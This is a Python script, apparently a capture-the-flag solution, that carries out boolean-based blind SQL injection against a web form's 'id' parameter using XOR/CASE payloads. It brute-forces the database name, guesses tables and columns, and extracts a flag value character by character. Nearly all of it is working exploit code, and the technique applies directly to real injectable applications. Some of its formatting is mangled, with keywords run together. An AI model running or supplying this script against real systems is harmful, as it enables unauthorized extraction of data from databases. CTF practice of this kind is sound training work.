# ─── Step 1: database() 长度 ────────────────────────────── defburst_dblen(): for i inrange(0, 100): payload = {'id': f"1' xor (select case when (length(database())={i}) then 1 else 0 end) xor '1'='1"} if success in requests.post(url, data=payload).text: return i
# ─── Step 2: database() 名字(逐字符爆破) ──────────────── defburst_dbname(length): dbname = '' for i inrange(1, length + 1): for j in charset: payload = {'id': f"1' xor (select case when (ord(mid(database(),{i},1))={ord(j)}) then 1 else 0 end) xor '1'='1"} if success in requests.post(url, data=payload).text: dbname += j print(f"[+] dbname: {dbname}") break return dbname
# ─── Step 3: 猜+验证表名 ────────────────────────────────── defburst_tables(): _"""猜常见表名,验证是否存在"""_ _ _tables = [] for t in table_guesses: payload = {'id': f"1' xor (select case when ((select count(*) from {t})>=0) then 1 else 0 end) xor '1'='1"} if success in requests.post(url, data=payload).text: tables.append(t) print(f"[+] table found: {t}") return tables
# ─── Step 4: 猜+验证列名 ────────────────────────────────── defburst_columns(table): _"""猜常见列名,验证表中是否存在"""_ _ _columns = [] for col in column_guesses: payload = {'id': f"1' xor (select case when ((select count(*) from {table} where {col} is not null)>=0) then 1 else 0 end) xor '1'='1"} if success in requests.post(url, data=payload).text: columns.append(col) print(f"[+] {table}.{col}") return columns
# ─── Step 5: 字段长度 ──────────────────────────────────── defburst_field_len(table, column): for i inrange(1, 200): payload = {'id': f"1' xor (select case when (length((select {column} from {table} limit 1))={i}) then 1 else 0 end) xor '1'='1"} if success in requests.post(url, data=payload).text: print(f"[+] {table}.{column} length = {i}") return i
# ─── Step 6: 字段值(逐字符爆破) ───────────────────────── defburst_field_value(table, column, length): value = '' for i inrange(1, length + 1): for j in charset: payload = {'id': f"1' xor (select case when (ord(mid((select {column} from {table} limit 1),{i},1))={ord(j)}) then 1 else 0 end) xor '1'='1"} if success in requests.post(url, data=payload).text: value += j print(f"[+] {table}.{column}: {value}") break return value
# ─── Main ───────────────────────────────────────────────── if __name__ == '__main__': # Step 1-2: 库名(逐字符) dblen = burst_dblen() dbname = burst_dbname(dblen)
# Step 3-4: 表名、列名(猜+验证) tables = burst_tables() for t in tables: columns = burst_columns(t)
# Step 5-6: 从 flag 表提取 flag(逐字符) if'flag'in tables: for col in columns: # columns 是全局最后一次 burst_columns 的结果 pass # 重新获取 flag 表的列 flag_cols = burst_columns('flag') for col in flag_cols: if col == 'id': continue flen = burst_field_len('flag', col) if flen: flag_value = burst_field_value('flag', col, flen) print(f"\n🏁 FLAG = {flag_value}")